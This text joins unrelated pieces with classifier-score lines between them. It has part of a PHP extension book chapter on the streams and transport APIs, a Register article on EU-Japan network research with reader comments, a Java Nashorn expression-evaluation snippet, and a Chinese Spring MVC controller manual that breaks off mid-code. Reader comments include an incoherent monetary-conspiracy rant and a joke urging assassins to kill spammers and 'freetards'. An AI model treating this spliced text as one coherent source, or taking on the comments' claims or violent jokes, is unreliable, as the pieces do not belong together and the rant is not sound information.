parameter is passed as TRUE. STREAM_USE_URL When set, only remote URLs will be opened. Wrappers that are not flagged as remote URLs such as file://, php://, compress.zlib://, and compress.bzip2:// will result in failure. ENFORCE_SAFE_MODE Despite the naming of this constant, safe mode checks are only truly enforced if this option is set, and the corresponding safe_mode ini directive has been enabled. Excluding this option causes safe_mode checks to be skipped regardless of the INI setting. REPORT_ERRORS If an error is encountered during the opening of the specified resource, an error will only be generated if this flag is passed. STREAM_MUST_SEEK Some streams, such as socket transports, are never seekable; others, such as file handles, are only seekable under certain circumstances. If a calling scope specifies this option and the wrapper determines that it cannot guarantee seekability, it will refuse to open the stream. STREAM_WILL_CAST If the calling scope will require the stream to be castable to a stdio or posix file descriptor, it should pass this option to the open_wrapper function so that it can fail gracefully before I/O operations have begun. STREAM_ONLY_GET_HEADERS Indicates that only metadata will be requested from the stream. In practice this is used by the http wrapper to populate the http_response_headers global variable without actually fetching the contents of the remote file. STREAM_DISABLE_OPEN_BASEDIR Like the safe_mode check, this option, even when absent, still requires the open_basedir ini option to be enabled for checks to be performed. Specifying it as an option simply allows the default check to be bypassed. STREAM_OPEN_PERSISTENT Instructs the streams layer to allocate all internal structures persistently and register the associated resource in the persistent list. IGNORE_PATH If not specified, the default include path will be searched. Most URL wrappers ignore this option. IGNORE_URL When provided, only local files will be opened by the streams layer. All is_url wrappers will be ignored. The final NULL parameter could have been a char** that will be initially set to match path and, if the path points to a plainfiles URL, updated to exclude the file:// portion, leaving a simple filepath to be used by traditional filename operations. This parameter is traditionally used by internal engine processes only. An extended version of php_stream_open_wrapper() also exists: php_stream *php_stream_open_wrapper_ex(char *path, char *mode, int options, char **opened_path, php_stream_context *context); This last parameter, context, allows for additional control of, and notification from, the wrapper in use. You'll see this parameter in action in Chapter 16. Transports Although transport streams are made up of the same component parts as fopen wrapper streams, they're given their own scheme registry and kept apart from the rest of the crowd. In part, this is because of the difference in how they've been traditionally accessed from userspace; however, there are additional implementation factors that are only relevant to socket-based streams. From your perspective as an extension developer, the process of opening transports is just the same. Take a look at this re-creation of fsockopen(): PHP_FUNCTION(sample5_fsockopen) { php_stream *stream; char *host, *transport, *errstr = NULL; int host_len, transport_len, implicit_tcp = 1, errcode = 0; long port = 0; int options = ENFORCE_SAFE_MODE; int flags = STREAM_XPORT_CLIENT | STREAM_XPORT_CONNECT; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &host, &host_len, &port) == FAILURE) { return; } if (port) { int implicit_tcp = 1; if (strstr(host, "://")) { /* A protocol was specified, * no need to fall back on tcp:// */ implicit_tcp = 0; } transport_len = spprintf(&transport, 0, "%s%s:%d", implicit_tcp ? "tcp://" : "", host, port); } else { /* When port isn't specified * we can safely assume that a protocol was * (e.g. unix:// or udg://) */ transport = host; transport_len = host_len; } stream = php_stream_xport_create(transport, transport_len, options, flags, NULL, NULL, NULL, &errstr, &errcode); if (transport != host) { efree(transport); } if (errstr) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "[%d] %s", errcode, errstr); efree(errstr); } if (!stream) { RETURN_FALSE; } php_stream_to_zval(stream, return_value); } The basic mechanics of this function are the same. All that has changed is that host and port, being specified in different parameters, must be joined together in order to generate a transport URI. After a meaningful "path" is generated, it's passed into the xport_create() function in the same way as fopen() used the open_wrapper() API call. The full prototype for php_stream_xport_create() is described here: php_stream *php_stream_xport_create(char *xport, int xport_len, int options, int flags, const char *persistent_id, struct timeval *timeout, php_stream_context *context, char **errstr, int *errcode); The meaning of each of these parameters is as follows: xport URI-based transport descriptor. For inet socket-based streams this might be tcp://127.0.0.1:80, udp://10.0.0.1:53, or ssl://169.254.13.24:445. Reasonable values might also be unix:///path/to/socket or udg:///path/to/dgramsocket for UNIX transports. The xport_len allows xport to specify a binary safe value by explicitly naming the length of the transport string. options This value is made up of a bitwise OR'd combination of the same values used by php_stream_open_wrapper() documented earlier in this chapter. flags Also a bitwise OR'd combination of either STREAM_XPORT_CLIENT or STREAM_XPORT_SERVER combined with any number of the remaining STREAM_XPORT_* constants defined in the next table. persistent_id If this transport should persist between requests, the calling scope can provide a keyname to describe the connection. Specifying this value as NULL creates a non-persistent connection; specifying a unique string value will attempt to recover an existing transport from the persistent pool, or create a new persistent stream if one does not exist yet. timeout How long a connection attempt should block before timing out and returning failure. A value of NULL passed here will use the default timeout as specified in the php.ini. This parameter has no meaning for server transports. errstr If an error occurs while creating, connecting, binding, or listening for the selected transport, the char* value passed by reference here will be populated with a descriptive string reporting the cause of the failure. The value of errstr should initially point to NULL; if it is populated with a value on return, the calling scope is responsible for freeing the memory associated with this string. errcode A numeric error code corresponding to the error message returned via errstr. The STREAM_XPORT_* family of constantsfor use in the flags parameter to php_stream_xport_create()are as follows: STREAM_XPORT_CLIENT The local end will be establishing a connection to a remote resource via the transport. This flag is usually accompanied by STREAM_XPORT_CONNECT or STREAM_XPORT_CONNECT_ASYNC. STREAM_XPORT_SERVER The local end will accept connections from a remote client via the transport. This flag is usually accompanied by STREAM_XPORT_BIND, and often STREAM_XPORT_LISTEN as well. STREAM_XPORT_CONNECT A connection to the remote resource should be established as part of the transport creation process. Omitting this flag when creating a client transport is legal, but requires a separate call to php_stream_xport_connect() in this case. STREAM_XPORT_CONNECT_ASYNC Attempt to connect to the remote resource, but do not block. STREAM_XPORT_BIND Bind the transport to a local resource. When used with server transports this prepares the transport for accepting connections on a particular port, path, or other specific endpoint identifier. STREAM_XPORT_LISTEN Listen for inbound connections on the bound transport endpoint. This is typically used with stream-based transports such as tcp://, ssl://, and unix://.   Directory Access For fopen wrappers that support directory access, such as file:// and ftp://, a third stream opener function can be used as in this re-creation of opendir(): PHP_FUNCTION(sample5_opendir) { php_stream *stream; char *path; int path_len, options = ENFORCE_SAFE_MODE | REPORT_ERRORS; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &path, &path_len) == FAILURE) { return; } stream = php_stream_opendir(path, options, NULL); if (!stream) { RETURN_FALSE; } php_stream_to_zval(stream, return_value); } Once again, a stream is being opened for a particular path description that may be a simple directory name on the local filesystem, or a URL-formatted resource describing a wrapper that supports directory access. We find the options parameter again, which has its usual meaning, and a third parameterset to NULL herefor passing a php_stream_context. After the directory stream is open, it's passed out to userspace just like any other file or transport stream. Special Streams A few more specialized stream types exist that don't fit cleanly within the fopen/transport/directory molds. Each of these are generated by their own unique API calls: php_stream *php_stream_fopen_tmpfile(void); php_stream *php_stream_fopen_temporary_file(const char *dir, const char *pfx, char **opened_path); Create a seekable buffer stream that can be written to and read from. Upon closing, any resources temporarily in use by this stream, including all buffers whether in memory or on disk, will be released. Using the latter function in this pair allows the temporary file to be spooled to a specific location with a specifically formatted name. These internal API calls are shadowed by the userspace tmpfile() function. php_stream *php_stream_fopen_from_fd(int fd, const char *mode, const char *persistent_id); php_stream *php_stream_fopen_from_file(FILE *file, const char *mode); php_stream *php_stream_fopen_from_pipe(FILE *file, const char *mode); These three API methods take an already opened FILE* resource or file descriptor ID and wrap it in the appropriate stream operations for use with the Streams API. The fd form will not search for a matching persistent id like the earlier fopen methods you're familiar with, but it will register the produced stream as persistent for later opening. The PHP Life Cycle Variables from the Inside Out Memory Management Setting Up a Build Environment Your First Extension Returning Values Accepting Parameters Working with Arrays and HashTables The Resource Data Type PHP4 Objects PHP5 Objects Startup, Shutdown, and a Few Points in Between INI Settings Accessing Streams Implementing Streams Diverting the Stream Configuration and Linking Extension Generators Setting Up a Host Environment Advanced Embedding Appendix A. A Zend API Reference Appendix B. PHPAPI Appendix C. Extending and Embedding Cookbook Appendix D. Additional Resources Extending and Embedding PHP Extending and Embedding PHP ISBN: 067232704X EAN: 2147483647 Year: 2007 Pages: 175 Authors: Sara Golemon Similar book on Amazon Flylib.com © 2008-2017. If you may any questions please contact us: [email protected]
__label__pos
0.806054
back to article EU chucks €18m at research for stupidly fast networks The European Commission has inked a €18m research deal with Japan to fund six separate projects that will examine ways of improving networks to allow them to carry more data. Brussels' officials said there was a "pressing need for new and more efficient networks in light of a massive online data explosion that is expected to … COMMENTS This topic is closed for new posts. > Our Future Internet should know no barriers, least of all barriers created because we did not prepare for the data revolution. Sorry, darlin', speed of light is a constant. 1 3 Thumb Down Bandwidth != latency. 2 0 Silver badge Go Simples Just mandate FTTH everywhere in the EU to be implemented within 2 years. 1 0 Japan? Why is the EU sending EU taxpayer funds out of the EU when there are plenty of companies in the EU who could take on more staff and benefit our combined economy if they were awarded the gig? 8 1 Unhappy Re: Japan? You are right, the whole thing stinks. There is plenty of commercial research into this field. Plus sending the money to another country for it to improve its own tech industry is madness. Someone somewhere is getting a kickback for this surely? 3 1 Silver badge Re: Japan? Maybe they want to work towards a joint standard that will become a de-facto world standard? For this kind of basic research it makes sense to have wide representation; as a tax payer I want the money used to develop open standards, not to subsidise the IP of private corporations. 1 0 Re: Japan? It does say "joint" venture so perhaps they couldn't find anyone with enough experience here in the EU. I can't see a problem with that if the knowledge is shared. I'm not sure why El Reg makes a point of mentioning that Neelie is unelected. Civil servants in the UK are unelected too. As long as there is oversight from MEPs, which there is, then there is no greater problem than with most other government organisations. It's almost as if the author is a member of UKIP! 4 2 Re: Japan? Steely Neely has done more for my mobile bill when travelling than any British politico or civil servant. She may be unelected but either she or the MEPs are doing a good job. Incidentally if she is unelected, read some history and you find the Brussels democratic deficit is a cause most dear to Whitehall's heart (proposed, seconded, vetoed for). 4 0 Re: Japan? @Matt21 This is the commission organising this research. The commission is not overseen by MEPs. 0 1 Re: Japan? @Matt21 I don't agree. My understanding is: The commission has one commissioner per member state and a president who is elected by the European Parliament. The commissioners are appointed by the European Council and require a vote of approval by the European Parliament..The commissioners are in effect chosen by each countries government. The commission is the civil service of the European Parliament., charged with carrying out the decisions of the Parliament. The Commission can and does propose law changes but cannot make any changes without the sign off of the Parliament. The European Parliament. can also dismiss the Commissioners. The Commission does decide on the detailed implementation of laws passed by Parliament but this is overseen by the Comitology Committees who can and have blocked the Commission. So, yes I would say that the Commission has oversight, at least to my understanding. 0 0 Whatever. Shoorly that'll be "Up to the speed of light"? 0 0 Maybe it's me, but €18 million doesn't sound like a lot of money to be put into research for such a topic; especially when it's split 6 ways. Having said that, there is also the issue of how much bandwidth people actually need (rather than want). Does a home consumer really need to be downloading 100 DVD's a minute? A business might need to, but consumers shouldn't. I've also seen first hand just how bad some networks can be; and in each case, the real issue is that they are not properly designed, maintained or managed. In many cases, a bit more thought and effort in that area might produce significant results. 2 0 With Gbps class networking the whole idea of 'downloading' stops being quite so necessary. At the very least you can park content on a server and do a Netflix, but with BluRay quality. (Or better.) But more than that, it makes VR more plausible. You don't necessarily want to wear a helmet that makes you look like a penis accessory. (Well, I don't, anyway.) But with a big TV and a good camera, you can get a visceral sense of being somewhere else that you're not going to get from a CrappyCam and the Lego-brick video you get on Skype. You can also start doing proper distributed computing, which is something that's long over due. (And that doesn't mean 'Cloud'.) Of course, none of this will happen in the UK, because *our* civil servants think markets are the holy invisible hand of god, and you can rely on them to sort out stuff like this without knocking heads together - because that's always worked so well in the past. 2 0 This post has been deleted by its author Silver badge This isn't so much the increase in speed for a discrete user's connection, this is backbone technology. i.e. You're in a street with 150 houses, 1/3 of which have an active Internet connection at 20Mb/s. Just that one street is looking at a peak throughput of 50 x 20Mb/s (4000 Mb/s). This street is neighboured to 9 other similar streets (10 x 4000Mb/s = 40,000Mb/s). This traffic has to get in and out of this neighbourhood, how many similar neighbourhoods are bundled together before the traffic starts diverging? Obviously, these are simple peak throughput examples, but when you start to use Video on Demand services these start chewing through inordinate bandwidth when taken in just a small area. 0 0 Anonymous Coward Faster *direct* access There's a pressing need for Europe to have *direct* networks to places it trades with/does politics like Japan, not through the US hubs, and not through the fiber optics that go through the UK either it seems. Germany in particular (I'm half German) needs far fewer links traversing US and UK controlled territory. The major speed improvement will come from eliminating man-in-the-middle attacks on HTTPS sessions. Perhaps we should spend the money laying some more fiber and developing end to end encryption on email? 5 0 Re: Faster *direct* access OK then, how does Russia or the Middle East grab you? 1 0 Silver badge Re: Faster *direct* access "Germany in particular (I'm half German) needs far fewer links traversing US and UK controlled territory." Why? NSA & GCHQ reportedly hacked into Chinese infrastructure, so the fact that your traffic could be tapped in the UK is irelevant: If they want your data (and they evidently do) then they'll help themselves regardless of the location of the data or the links it traverses. Even if it was territory specifc, you'll have the same spying problem with China and Russia, so how will you avoid links that traverse those countries or their patsies? I can't think of many nations willing to stick two fingers up the US (Iran, Norks), but Germany certainly won't say boo to that goose, nor will most other countries. The Morales incident shows that all European countries (including the US despising French) will jump when told to by the Yanks. 2 1 This post has been deleted by its author Anonymous Coward Re: Faster *direct* access Why more fibre? Secure email is readily available (pgp/gpg/smime) so surely all that's needed is a fit-for-purpose replacement for the NSA's SSL/TLS?... methinks latency might suddenly improve once they lose their ability to MITM our traffic. 0 0 Silver badge Looking ahead Not such a bad idea. perhaps. I pay for 10 but receive 6 to7. With double the traffic, what do I receive, 3 to 4 perhaps. And it is not only about us, users, but about the industry in the EU too, if any left. And as a fact I wish there was more "steely" in the EU. 1 0 Silver badge The rocky road to ruin and inevitably also, because anything broken is always changed, change. Why is the EU sending EU taxpayer funds out of the EU when there are plenty of companies in the EU who could take on more staff and benefit our combined economy if they were awarded the gig? …. Stu J Posted Thursday 4th July 2013 11:00 GMT Stu J, Hi, It is mistake to think it is EU taxpayer funds whenever it is simply ECB quantitative easing flash cash being used as an incentive to obtain a leading advantage ….. which is how the system works to try to defend itself against others anonymous and more worldly-wise who have the new information and greater intelligence that the system needs to survive and prosper/improve and run freely without pathetic unnecessary glitches/conflicts/crazy destructive regime spring cleanings. Taxation is just one of those things which is used to have you not thinking and not accepting that money to spend is freely manufactured, and nowadays that is made even simpler and less irksome, because now are all major manufacturing and distribution networks supplied and service electronically/virtually, so one doesn't actually, whenever supposedly rich, have any cash in a stash at all, but an easily changed, second and third party hosted account balance to draw cash from institutions which have been given valuables and cash to store. And the simple fiat currency control of dumb mankind system is collapsing, and putting all of those who assume and presume to sit in power using taxation and in full support of fiat currency's easily abused modus operandi, in clear and present danger of being recognised as an ignorant and dangerous idiot to be removed from the floundering and foundering mainstream media world picture show and who be targeting the weakest and most vulnerable of beings. Now you know why having your own national currency is so convenient, for you can print and exchange as much of it as you like, but ideally, and some would even tell you that it be crucially and vital,if you want the system to survive and prosper/improve and run freely, is it a good idea to lode those and/or that [for nowadays is it more likely to be institutions and companies, and not accountable individuals, which are loded] which knows what needs to be done in a changed scenario and a smarter and getting smarter and better instantly informed world. You are not alone in your thinking though, Stu J, which is cold comfort I suppose, whenever such a lack of thinking causes so many more mounting and daunting problems to appear and cause mayhem. 0 0 A few aspects to clarify on the story Hello, I am a member of the team in the European Commission which is behind the EU-Japan ICT cooperation referred to in this article. Firstly, we are really glad that you have picked upon this subject, but I would like to point out a couple of aspects in this article that do not paint a fully accurate picture of the overall EU-Japan ICT cooperation. Firstly, as you can see in the press release we issued on topic (http://europa.eu/rapid/press-release_IP-13-646_en.htm#PR_metaPressRelease_bottom) , the projects go far beyond looking at "ways of improving networks to allow them to carry more data". What they aim to do is redefine the current Internet architecture. The efficiency in carrying data is not only related to speed, but also to radio spectrum usage, energy efficient networks, cloud computing and cyber security. Both EU and Japan are contributing to the total €18 million for the 6 projects, since it is a joint Call for projects. Moreover, the European Commission's "concern" with the faltering network capacity is fully justified, given the latest European industry estimates (see the June 2013 Ericsson Mobility Report: http://www.ericsson.com/news/1706363). A network's capacity to carry data impacts security and energy efficiency. Cloud computing, alongside energy efficiency in disaster situations help tackle data traffic and can trigger much faster connections. The Digital Agenda for Europe objectives are set up in such a way that EU citizens are provided with both ultra-high speed and reliable networks. The EU-Japan joint research projects are the result of a long lasting strategic partnership involving global leaders in telecommunications that have developed common targets in terms of ICT advances. In addition, the need for global standards behind the next generation of telecommunications fully justifies this partnership and stresses the worldwide dimension research has taken nowadays. European taxpayers are to experience the benefits behind such knowledge exchange in the long run, as proven previously in the case of GSM and 3G standards. I would like to thank you once again for covering this press release; We do look forward to any further engagement as we are committed to communicating our support towards European industrial and research leadership. Best regards, Silvia Alexe Communication Officer Network Technologies Unit DG CONNECT (Communications Networks, Content and Technology) , European Commission 1 0 FAIL how much money? Fuck!, just hire some assassins to kill all of the spammers and the networks would be fine. 1 1 Anonymous Coward Re: how much money? "Fuck!, just hire some assassins to kill all of the freetards and the networks would be fine." Fixed it for you. 1 0 Silver badge Re: how much money? Have to agree with both of the above. 0 0 Silver badge Holmes There is a simple solution The solution is the same as with most complex systems: hire people who know what they are doing and fire the managers who don't. Do you need my address to send the check? 0 0 This topic is closed for new posts. Forums Biting the hand that feeds IT © 1998–2017
__label__pos
0.668699
Java Program to evaluate mathematical expressions in String Java 8Object Oriented ProgrammingProgramming To evaluate mathematical expression in String, use Nashorn JavaScript in Java i.e. scripting. Nashorn invoke dynamics feature, introduced in Java 7 to improve performance. For scripting, use the ScriptEngineManager class for the engine − ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("JavaScript"); Now for JavaScript code from string, use eval i.e. execute the script. Here, we are evaluating mathematical expressions in a string − Object ob = scriptEngine.eval("9 + 15 + 30"); System.out.println("Result of evaluating mathematical expressions in String = "+ob); Example  Live Demo import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; public class Main {    public static void main(String[] args) throws Exception {       ScriptEngineManager scriptEngineManager = new ScriptEngineManager();       ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("JavaScript");       // JavaScript code from String       Object ob = scriptEngine.eval("9 + 15 + 30");       System.out.println("Result of evaluating mathematical expressions in String = "+ob);    } } Output Result of evaluating mathematical expressions in String = 54 raja Published on 23-Apr-2019 08:28:07 Advertisements
__label__pos
0.997725
Home | 簡體中文 | 繁體中文 | 雜文 | 打賞(Donations) | ITEYE 博客 | OSChina 博客 | Facebook | Linkedin | 知乎專欄 | Search | Email 第 7 章 Spring MVC 目錄 7.1. @Controller 7.1.1. @RequestMapping 7.1.1.1. @RequestMapping("/") 7.1.1.2. 映射多個URL 7.1.1.3. headers 7.1.2. @ResponseBody 7.1.2.1. 直接返回HTML 7.1.3. RequestMapping with Path Variables - @PathVariable 7.1.3.1. URL 參數傳遞 7.1.3.2. URL 傳遞 Date 類型 7.1.3.3. 處理特殊字元 7.1.3.4. @PathVariable 注意事項 7.1.4. RequestMapping with Request Parameters - @RequestParam 7.1.4.1. HTTP GET 7.1.4.2. HTTP POST 7.1.4.3. @RequestParam 傳遞特殊字元串 7.1.4.4. 傳遞日期參數 7.1.5. @ModelAttribute 7.1.6. ModelAndView 7.1.6.1. 變數傳遞 7.1.6.2. ModelMap 傳遞多個變數 7.1.6.3. redirect 7.1.6.4. ArrayList 7.1.6.5. HashMap 7.1.6.6. 傳遞對象 7.1.6.7. 7.1.7. @Scheduled 7.1.8. @CrossOrigin 7.1.9. @SessionAttributes 7.1.10. HttpServletRequest / HttpServletResponse 7.1.10.1. HttpServletResponse 7.2. View 7.2.1. Using Spring’s form tag library 7.2.1.1. css 7.2.1.2. cssClass 7.2.2. Thymeleaf 7.2.2.1. Maven pom.xml 7.2.2.2. Spring 配置 7.2.2.3. controller 7.2.2.4. HTML5 Template 7.2.3. FreeMarker 7.3. Properties 7.3.1. 載入*.properties檔案 7.3.2. @Value 註解 7.3.3. @PropertySource 註解 7.4. FAQ 7.4.1. o.s.web.servlet.PageNotFound 7.4.2. HTTP Status 500 - Handler processing failed; nested exception is java.lang.NoClassDefFoundError: javax/servlet/jsp/jstl/core/Config 7.4.3. 同時使用 Thymeleaf 與 JSP 7.4.4. 排除靜態內容 7.4.5. HTTP Status 406 Spring MVC 有兩種啟動模式,一種是傳統Tomcat,需要配置很多XML檔案。另一種方式是採用 Spring Boot 需要些一個Java程序,不需要寫xml檔案,這個程序會幫助你處理啟動所需的一切,並且採用嵌入方式啟動 Tomcat 或者 Jetty. 兩種方式各有優缺點,Tomcat 方式配置繁瑣,但是可以使用虛擬機,同一個IP地址使用不同域名訪問,出現不同的內容。而Spring Boot一個應用一個容器一個連接埠,比不得不通過連接埠來區分應用。 7.1. @Controller package cn.netkiller.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; @Controller public class Welcome { @RequestMapping("/welcome") public ModelAndView helloWorld() { String message = "Helloworld!!!"; return new ModelAndView("welcome", "message", message); } } 7.1.1. @RequestMapping @RequestMapping("/welcome") @RequestMapping(value = "/list", method = RequestMethod.GET) 7.1.1.1. @RequestMapping("/") package com.cf88.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller @RequestMapping("/") public class HelloController { @RequestMapping(value = "/{name}", method = RequestMethod.GET) public String getMovie(@PathVariable String name, ModelMap model) { model.addAttribute("name", name); return "hello"; } } 7.1.1.2. 映射多個URL @RequestMapping({ "/news/zh-cn", "/news/zh-tw" }) @ResponseBody public String getNewsByPath() { return "Hello"; } 7.1.1.3. headers @RequestMapping(value = "/news/json", method = GET, headers = "Accept=application/json") @ResponseBody public String getFoosAsJsonFromBrowser() { return "{...}"; } curl -H "Accept:application/json,text/html" http://localhost:8080/spring/news/json.html 7.1.2. @ResponseBody import org.springframework.web.bind.annotation.ResponseBody; 7.1.2.1. 直接返回HTML package cn.netkiller.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; @Controller public class Pathinfo { @RequestMapping(value = "/news/shenzhen/{numericId:[\\d]+}") @ResponseBody public String getNewsWithPathVariable(@PathVariable final long numericId) { return "Get a specific Bar with id=" + numericId; } } 7.1.3. RequestMapping with Path Variables - @PathVariable 7.1.3.1. URL 參數傳遞 需求,我們需要通過URL傳遞參數,所傳遞的值是分類ID與文章ID,例如 /news/1.html, /news/1/1.html。 package cn.netkiller.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; @Controller public class Pathinfo { @RequestMapping("/pathinfo/{id}") public ModelAndView urlTestId(@PathVariable String id) { return new ModelAndView("pathinfo/param", "id", id); } @RequestMapping("/pathinfo/{cid}/{id}") public ModelAndView urlTestId(@PathVariable String cid, @PathVariable String id) { ModelMap model = new ModelMap(); model.addAttribute("cid", cid); model.addAttribute("id", id); return new ModelAndView("pathinfo/param", model); } } jsp測試檔案 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Insert title here</title> </head> <body> ${ cid } <br> ${ id } <br> </body> </html> 7.1.3.2. URL 傳遞 Date 類型 http://localhost:7000/history/2016-09-28%2000:00:00/ @RequestMapping("/history/{datetime}") public String history(@PathVariable @DateTimeFormat(pattern="yyyy-MM-dd HH:mm:ss") Date datetime) throws Exception { System.out.println(datetime) return null; } 7.1.3.3. 處理特殊字元 http://www.netkiller.cn/release/1.0.1 @RequestMapping(value = "/release/{version:[a-zA-Z0-9\\.]+}", method = RequestMethod.GET) public @ResponseBody String release(@PathVariable String version) { log.debug("version: ", version); return version; } http://www.netkiller.cn/release/1.0.1/other @RequestMapping(value="/release/{version:.+}",method=RequestMethod.GET) public void download(HttpSession session,@PathVariable("version")String version){ return version; } 7.1.3.4. @PathVariable 注意事項 @PathVariable 參數傳統需要注意,參數中不能攜帶 “/”,斜杠會被視為目錄。 @RequestMapping("/PathVariable/{code}.html") @ResponseBody public String urlTestId(@PathVariable String code) { return code; } 7.1.4. RequestMapping with Request Parameters - @RequestParam import org.springframework.web.bind.annotation.RequestParam; 7.1.4.1. HTTP GET @RequestMapping("/request/param") @ResponseBody public String getBarBySimplePathWithRequestParam(@RequestParam("id") long id) { return "Get a specific Bar with id=" + id; } http://localhost:8080/Spring/request/param.html?id=100 7.1.4.2. HTTP POST package cn.netkiller.controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; @Controller public class Http { @RequestMapping("/http/form") public ModelAndView createCustomer(){ ModelMap model = new ModelMap(); model.addAttribute("email", "[email protected]"); model.addAttribute("phone", "13113668890"); return new ModelAndView("http/form", model); } @RequestMapping(value= "/http/post", method = RequestMethod.POST) public ModelAndView saveCustomer(HttpServletRequest request, @RequestParam(value="Email", required=false) String email, @RequestParam(value="Password", required=false) String password, @RequestParam(value="Phone", required=false) String phone){ ModelMap model = new ModelMap(); model.addAttribute("email", email); model.addAttribute("password", password); model.addAttribute("phone", phone); return new ModelAndView("http/post", model); } } http/form.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Insert title here</title> </head> <body> <form method="POST" action="http://localhost:8080/Spring/http/post.html" id="Register" name="Register"> Email: <input class="register" type="text" id="Email" name="Email" value="${email}" /> <br /> Password: <input class="register" type="password" id="Password" name="Password" value="" /><br /> Phone: <input class="register" type="text" id="Phone" name="Phone" value="${phone}" /> <br /> <input type="submit" id="btnRegister" name="btnRegister" value="Register" style="cursor: pointer" /> </form> </body> </html> http/post.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Insert title here</title> </head> <body> ${email}<br> ${password} <br> ${phone} <br> </body> </html> 7.1.4.3. @RequestParam 傳遞特殊字元串 URL 中 “+” 有特殊意義,表示空格。 如果 @RequestParam 傳遞參數含有空格可以這樣處理。 @RequestMapping("/RequestParam") @ResponseBody public String query(@RequestParam("code") String code) { return code.replace(" ", "+"); } 7.1.4.4. 傳遞日期參數 @RequestMapping("/range") public ModelAndView range(@RequestParam("beginDate") @DateTimeFormat(pattern = "yyyy-MM-dd") Date beginDate, @RequestParam("endDate") @DateTimeFormat(pattern = "yyyy-MM-dd") Date endDate) { log.info("===== Begin ===== {}", beginDate); // 你的邏輯 log.info("===== End ===== {}", endDate); return new ModelAndView("activity/index", "message", "操作成功"); } 7.1.5. @ModelAttribute @ModelAttribute 處理 HTML FORM POST 提交 package cn.netkiller.pojo; import java.util.List; public class Deploy { private String group; private String envionment; private String project; private List<String> arguments; public Deploy() { // TODO Auto-generated constructor stub } // Getters & Setters } @RequestMapping(value="/deploy/post", method = RequestMethod.POST) public ModelAndView post(@ModelAttribute("deploy")Deploy deploy, BindingResult result) { if (result.hasErrors()) { System.out.println(result.toString()); } System.out.println(deploy.toString()); return new ModelAndView("output").addObject("output", deploy.toString()); } 7.1.6. ModelAndView 7.1.6.1. 變數傳遞 @RequestMapping("/testString") public ModelAndView helloWorld() { String message = "Helloworld!!!"; return new ModelAndView("welcome", "message", message); } public ModelAndView handleRequestInternal() { ModelAndView mav = new ModelAndView("test");// 實例化一個VIew的ModelAndView實例 mav.addObject("variable", "Hello World!");// 添加一個帶名的model對象 return mav; } 7.1.6.2. ModelMap 傳遞多個變數 傳遞多個字元串 @RequestMapping("/testModelMap") public ModelAndView testModelMap() { ModelMap model = new ModelMap(); model.addAttribute("username", "Neo"); model.addAttribute("password", "Netkiller"); return new ModelAndView("test/modelmap", model); } 推薦使用ModelMap @RequestMapping("/testMapString") public ModelAndView testMapString() { Map<String,String> data = new HashMap<String,String>(); data.put("username","Neo"); data.put("password","Netkiller"); return new ModelAndView("test/modelmap",data); } <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Insert title here</title> </head> <body> ${username}<br> ${password}<br> </body> </html> 7.1.6.3. redirect @RequestMapping("/testRedirect") public ModelAndView testRedirect(){ RedirectView view = new RedirectView("testMapString.html"); return new ModelAndView(view); } 7.1.6.4. ArrayList @RequestMapping(value = "testList") public ModelAndView testList() { ModelAndView mav = new ModelAndView(); mav.setViewName("/test/list"); // List List<String> list = new ArrayList<String>(); list.add("java"); list.add("c++"); list.add("oracle"); mav.addObject("bookList", list); return mav; } <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Insert title here</title> </head> <body> ${bookList} <br> <c:forEach items="${bookList}" var="node"> <c:out value="${node}"></c:out><br> </c:forEach> </body> </html> 7.1.6.5. HashMap @RequestMapping("/testMap") public ModelAndView testMap() { ModelAndView mav = new ModelAndView(); 